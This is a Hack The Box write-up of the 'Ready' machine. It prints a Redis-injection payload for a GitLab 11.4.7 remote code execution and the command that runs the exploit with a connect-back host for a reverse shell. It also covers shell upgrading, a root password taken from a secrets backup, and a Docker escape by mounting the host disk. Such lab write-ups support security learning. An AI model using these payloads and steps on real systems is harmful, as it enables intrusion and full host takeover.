Hack The Box – Ready Walkthrough

Introduction

This was an intermediate Linux machine that involved exploiting a remote code execution in GitLab to gain initial access, an exposed root password and a misconfigured docker container to escalate privileges to root.

Enumeration

The first thing to do is to run a TCP Nmap scan against the 1000 most common ports, and using the following flags:

• -sC to run default scripts
• -sV to enumerate applications versions

The scan has detected port 22 and port 5080 as open ports, port 5080 seems to be running a Nginx web server so the next step is to start enumerating HTTP.

Enumerating HTTP

When visiting the web server on port 5080 through a browser, a GitLab login page comes up:

It appears GitLab has the self-registration feature enabled, registering a new user:

Upon registering, GitLab redirects to /oauth/token, generating a 404 response:

This does not seem too be an issue as the account was successfully created anyway. Logging into GitLab:

GitLab takes to the home page after logging in:

The GitLab version can be found by clicking on the user image and hitting “Help”:

The web server appears to be running GitLab Community edition 11.4.7

Using the SearchSplooit tool to identify known vulnerabilities in this version of GitLab

There appears to be a remote code execution vulnerability in this version of GitLab.

Exploiting Remote Code Execution in GitLab

Mirroring the exploit locally:

It appears the exploit is authenticating with the provided username and password, and creating a project in GitLab, exploiting a CRLF vulnerability in the project mirroring functionality to execute arbitrary code by adding the following payload to the request used to create a project, just after the parameter used to import a project from a URL:

 multi
 sadd resque:gitlab:queues system_hook_push
 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|setsid [COMMAND TO EXECUTE] \').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
 exec
 exec
 exec

The full exploit is available here.

The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:

• -l to listen for incoming connections
• -v for verbose output
• -n to skip the DNS lookup
• -p to specify the port to listen on

Running the script, providing the user credentials, the URL to the GitLab site, and the local host/port to connect back to:

python3 49334.py -u stef@stef.com -g http://10.10.10.220 -l 10.10.14.4 -P 443

The exploit was successful, granting a reverse shell as the “git” user.

The following steps can be done to obtain an interactive shell:

• Running “python -c ‘import pty; pty.spawn(“/bin/sh”)’” on the victim host
• Hitting CTRL+Z to background the process and go back to the local host
• Running “stty raw -echo” on the local host
• Hitting “fg + ENTER” to go back to the reverse shell

Privilege Escalation

After a bit of research on where GitLab stores database credentials and other sensitive information, it appears it sotres secrets in the gitlab-secrets.json file:

Using the find command to identify where this file is currently being stored, it appears there is a backup version as well:

When searching for passwords in the backup gitlab-secrets.josn file, it appears it contains a SMTP password:

It turns out this is the password in use for the root user, changing user with the su command:

It appears that even though the root user was compromised, the current access is part of a docker container only, and not the main machine, after a bit of research, found the following suggestion from HackTricks:

Running the same command to view what capabilities are allowed on the container:

It appears the cap_sys_admin, cap_sys_ptrace, cap_dac_override, cap_dac_read_search and cap_sys_module capabilities are allowed, meaning it will allow to mount arbitrary partitions, including the main one used by the system, therefore escaping the Docker container. Listing the current partitions:

Creating a new folder and mounting the /dev/sda partition onto it, therefore accessing the main filesystem:

At this point full control of the file system is already achieved, but further steps could be taken in order to gain a root shell, such as exporting SSH keys or modifying the /etc/passwd file and adding an extra root user.

Conclusion

This was a really interesting box as the GitLab exploit chains SSRF and CRLF in order to gain remote code execution on the target system, and the docker escape by mounting the /dev/sda partition was also quite unusual.